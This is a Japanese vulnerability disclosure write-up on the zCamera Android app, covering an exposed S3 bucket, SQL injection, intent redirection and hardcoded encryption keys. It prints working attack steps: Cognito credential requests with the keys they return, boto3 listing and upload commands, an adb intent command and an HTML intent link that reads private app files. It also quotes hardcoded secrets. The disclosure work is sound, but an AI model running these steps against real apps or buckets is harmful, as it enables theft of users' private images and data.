当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

1億以上インストールされたアプリzCamera、リモートからの侵害からデータ漏えいまで

本記事は技術的な詳細解説であり、1億以上インストールされた画像アプリがどのようにユーザーの画像を露出させ、SQLインジェクションやインテントリダイレクトから任意のファイルダウンロードに至るまで、リモートから悪用可能な脆弱性を抱え得るかを示します。

本記事は技術的な詳細解説であり、1億以上インストールされた画像アプリがどのようにユーザーの画像を露出させ、SQLインジェクションやインテントリダイレクトから任意のファイルダウンロードに至るまで、リモートから悪用可能な脆弱性を抱え得るかを示します。

2021年、当社はzCameraという人気のカメラアプリに影響する一連の脆弱性をGoogle AppStoreチームに報告しました。

このアプリケーションは1億を超えるインストール数を持ち、ユーザーのセキュリティとプライバシーに影響するいくつかのクリティカルな問題を抱えていました。

当社はアプリケーションの開発者に問題を報告しようと試みましたが、何の返答も得られなかったため、Googleのセキュリティチームに問題を報告しました。

最近になって、このアプリケーションがストアでアクセスできなくなっていることが分かりました。アプリケーションがアクセス不能であるか、クリティカルなセキュリティ上の問題を抱えているためにダウンロードできない、という旨のエラーメッセージが表示されます。

そこで当社は、モバイルアプリケーションに見られるクリティカルな問題のいくつかと、それらが端末に悪意のあるアプリケーションを必要とせずにどのようにリモートから悪用され得るかについて、認識と知識を共有するために、本レポートを安全に公開します。

脆弱なアプリケーションはcom.jb.zcameraで、画像の共有と保存の機能を備えた写真編集アプリケーションです。このアプリケーションは1億を超えるインストール数を持ち、iOS版だけでも3万件以上のコメントが寄せられていました。

特定された脆弱性は次のとおりです。

脆弱性 影響 攻撃ベクトル
保護されていないS3バケット データ漏えい(画像) 操作不要
SQLインジェクションとインテント転送を連鎖させたSQLiteデータベースへのアクセス・書き込み・削除 データ漏えい(SQLiteデータベース) 悪意のあるリンク
平文通信 データ漏えい(画像) トラフィックの操作
ハードコードされた鍵による機密情報の脆弱な暗号化 データ漏えいの脆弱性の影響を悪化させる 該当なし
インテントリダイレクション 認可バイパス 悪意のあるリンク

保護されていないS3バケットによる機密データの漏えい

このアプリケーションは、AWSの3gcdn.tokyoバケットへのアクセスを認証するためにAWS Cognitoを使用していました。Cognitoのアクセスにより、すべてのファイルの一覧表示、ユーザーの画像へのアクセス、任意のファイルのアップロードが可能でした。

バケットの権限設定では、バケット内のすべてのユーザーによる、すべてのファイルの一覧表示、アップロード、読み取りが許可されていました。

以下は、Cognitoアカウントを示す、アプリケーションから逆コンパイルしたサンプルコードです。

    private static CognitoCachingCredentialsProvider b(Context context) {
        if (d == null) {
            d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
        }
        return d;
    }

    private static AmazonS3Client c(Context context) {
        if (c == null) {
            ClientConfiguration clientConfiguration = new ClientConfiguration();
            clientConfiguration.c(3000000);
            clientConfiguration.b(3000000);
            clientConfiguration.a(3);
            clientConfiguration.a(Protocol.HTTPS);
            c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
        }
        c.a(Region.a(Regions.AP_NORTHEAST_1));
        return c;
    }

AWS Cognitoは、モバイルアプリケーションやWebアプリケーションにユーザーのサインアップ機能を簡単に追加する手段を提供します。Cognitoアカウントが設定されると、https://cognito-identity.[zone].amazonaws.com/ エンドポイントにアクセスすることで認証情報が取得されます。

以下は、生成されたアクセスキー、シークレットキー、セッションキーを示す、傍受したリクエストとレスポンスです。

リクエスト:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

レスポンス:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

取得したアクセスキーとシークレットは、ファイルの一覧表示、ファイルの読み取り、そして任意の名前・任意の内容のファイルのアップロードに利用できます。

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          
In [9]: client.list_objects(Bucket='3gcdn.tokyo')                                                                                                                                                                    
Out[9]: 
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
  'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
  'HTTPStatusCode': 200,
  'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
   'x-amz-request-id': '2XAFCTTEPXFEP0WC',
   'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
   'x-amz-bucket-region': 'ap-northeast-1',
   'content-type': 'application/xml',
   'transfer-encoding': 'chunked',
   'server': 'AmazonS3'},
  'RetryAttempts': 1},
 'IsTruncated': False,
 'Marker': '',
 'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
   'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
   'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
   'Size': 137718,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
   'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
   'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
   'Size': 201745,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01BA8-2021-03-05/headpic/7rSei
...

SQLインジェクションによる機密データの漏えい

このアプリケーションは、さまざまな方法で悪用可能な複数のSQLインジェクションを抱えていました。

脆弱なコードをすべて列挙すると数十ページに及ぶため、以下はソースコードのサンプルです。このアプリケーションは、Intentメッセージを読み取って文字列連結でSQLクエリを組み立てるコンテンツプロバイダーを公開しています。

   public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
    {
        android.database.Cursor v9_5;
        android.database.sqlite.SQLiteDatabase v0 = this.b.b();
        switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
            case 1:
                v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
                break;
            case 2:
                String v3_2 = android.content.ContentUris.parseId(p9);
                if (v3_2 == -1) {
                    v9_5 = 0;
                } else {
                    android.database.Cursor v9_8 = new StringBuilder();
                    v9_8.append(_id=);
                    v9_8.append(v3_2);
                    android.database.Cursor v9_9 = v9_8.toString();
                    if (p11 != null) {
                        StringBuilder v14_8 = new StringBuilder();
                        v14_8.append(p11);
                        v14_8.append(“ and “);
                        v14_8.append(v9_9);
                        v9_9 = v14_8.toString();
                    }
                    v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
                }
                break;
            case 3:
                v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
                break;
            case 4:
                String v3_5 = android.content.ContentUris.parseId(p9);
                if (v3_5 == -1) {
                } else {
                    android.database.Cursor v9_3 = new StringBuilder();
                    v9_3.append(_id=);
                    v9_3.append(v3_5);
                    android.database.Cursor v9_4 = v9_3.toString();
                    if (p11 != null) {
                        StringBuilder v14_3 = new StringBuilder();
                        v14_3.append(p11);
                        v14_3.append(“ and “);
                        v14_3.append(v9_4);
                        v9_4 = v14_3.toString();
                    }
                    v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
                }
                break;
            default:
                String v11_4 = new StringBuilder();
                v11_4.append(Unknown Uri:);
                v11_4.append(p9);
                throw new IllegalArgumentException(v11_4.toString());
        }
        return v9_5;
    }

平文リンクによるデータ漏えい

このアプリケーションは、さまざまなリソースにアクセスするために、バックエンドからいくつかのリンクを取得します。最も注目すべきは、APKファイルとしてパッケージ化された画像フィルターです。

以下は、収集された平文リンクを示すリクエストとレスポンスです。

リクエスト

GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com

レスポンス

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000

{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}

プライベート画像を保存するための脆弱な暗号化とハードコードされたシークレットの使用

このアプリケーションは、画像をパスワードで保護する機能を実装しています。暗号化には、ハードコードされた鍵を用いるDESという脆弱な暗号方式を使用しています。 以下は、アプリケーションにハードコードされたpref_forget_pwd_codeの存在です。

public static String m5718w() {
        String string = m5663ac().getString("pref_forget_pwd_code", "");
        return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
    }

以下は、シークレットを暗号化・生成するためのDESの使用です。DESは、鍵空間が小さいため、今日の手段ではブルートフォースが可能です。

    /* renamed from: b */
    public static byte[] m2212b(byte[] bArr, String str) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
            Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
            instance.init(2, generateSecret);
            byte[] doFinal = instance.doFinal(bArr);
            byteArrayOutputStream.close();
            return doFinal;
        } catch (Exception e) {
            throw e;
        } catch (Throwable th) {
            byteArrayOutputStream.close();
            throw th;
        }
    }

そして以下は、AES暗号化で使用される、もう一つのハードコードされた鍵です。

public final class CryptPreferencesManager {
    private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
    private SharedPreferences.Editor mEditor;
    private SharedPreferences mPreferences;

ブラウザーでリンクをたどることによる機密データ(画像、データベース、外部ストレージのファイル)の漏えい

このアプリケーションにおける最も重大な問題の一つは、攻撃者がインテントリダイレクションの脆弱性を利用して、アクセス可能で認可されたアクティビティに対する制限をどのように回避できるかという点です。

メインアクティビティは、特定のフラグが設定されている場合にファイルアクセス権を持つwebviewでリンクを開く、あるいは任意のエクストラパラメーターを付けてアクティビティを起動できるプロキシ機能を公開しています。

   public boolean a(Context context, Intent intent) {
        if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
            String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
            String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
            if (WecloudNotificationAction.hasValue(stringExtra)) {
                WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
                if (fromValue == WecloudNotificationAction.URI) {
                    return b(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.GP) {
                    return c(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.FB) {
                    return d(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.ACTIVITY) {
                    return e(context, stringExtra2);
                }
            }
        }
        return false;
    }

インテント内の一部のパラメーターに基づき、push_paramの値から2つ目のインテントが構築されます。2つ目のパラメーターの解析は、文字列、真偽値、整数などの基本的な型をサポートする独自のシリアライゼーション形式を実装しています。 以下は、2つ目のインテントを構築するコードです。

   private boolean m6011b(Context context, String str) {
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        try {
            String[] split = str.split("\\?\\#\\?\\#\\?");
            String str2 = split[0];
            if (TextUtils.isEmpty(str2)) {
                return false;
            }
            if (split.length < 2) {
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return true;
            }
            Intent intent2 = new Intent();
            mo12531a(intent2, split[1]);
            if (intent2.getBooleanExtra("extra_internal_webview", false)) {
                arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
            } else {
                Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
                intent3.addFlags(268435456);
                context.startActivity(intent3);
            }
            return true;
        } catch (Throwable th) {
            ars.m4113c("WecloudNotification", "", th);
            return true;
        }
    }
   private void a(Intent intent, String str, String str2) {
        int lastIndexOf = str2.lastIndexOf("@");
        if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
            String substring = str2.substring(lastIndexOf + 1);
            String substring2 = str2.substring(0, lastIndexOf);
            if ("B".equals(substring)) {
                intent.putExtra(str, Boolean.valueOf(substring2));
            } else if ("I".equals(substring)) {
                intent.putExtra(str, Integer.valueOf(substring2));
            } else if ("D".equals(substring)) {
                intent.putExtra(str, Double.valueOf(substring2));
            } else if ("F".equals(substring)) {
                intent.putExtra(str, Float.valueOf(substring2));
            } else if ("L".equals(substring)) {
                intent.putExtra(str, Long.valueOf(substring2));
            } else if ("S".equals(substring)) {
                intent.putExtra(str, substring2);
            }
        }
    }
}

対象のwebviewでページを開かせるには、次のコマンドでインテントを送信できます。

adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?\&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true

プロキシ機能を公開しているメインアクティビティはブラウズ可能であるため、以下のHTMLサンプルコードによってChromeからこのインテントをトリガーできます。これは非常に重要な要素です。攻撃者が端末への悪意のあるアクセスを必要とせずに、この脆弱性をトリガーできることを意味するからです。

<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>

webviewはローカルファイルへのアクセス権を持っていますが、URLからファイルを開く権限はなく、ターゲットSDKはFile URLsへのアクセスをfalseに設定しています。

InvolveMediaDetailActvityアクティビティは、「http://goappdl.goforandroid.com/」を指すリンクによってファイルのダウンロードをトリガーできます。

このアクティビティは、S3バケットから取得される動画のURLを受け付けます。

    public void getDataFromIntent() {
        Intent intent = getIntent();
        this.a = intent.getStringExtra(VIDEO_URL);
        this.b = intent.getStringExtra(IMG_URL);
        this.c = intent.getIntExtra(FILE_TYPE, -1);
    }

URLはホストとしてhttp://goappdl.goforandroid.com/,を持つ必要がありますが、ホスト部分は切り捨てられ、ファイルのダウンロードにはパスのみが使用されます。 保存されるファイルの名前は、パスから取得されます。

   public static String m1204e(String str) {
        try {
            if (!TextUtils.isEmpty(str)) {
                if (str.startsWith("http://goappdl.goforandroid.com/")) {
                    return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
                }
            }
            return "";
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

S3のg3cdn.tokyoへのアクセスはAWS Cognitoを使用しているため、Cognito Identityを送信することでアクセスキーを収集できます。

リクエスト:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

レスポンス:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKr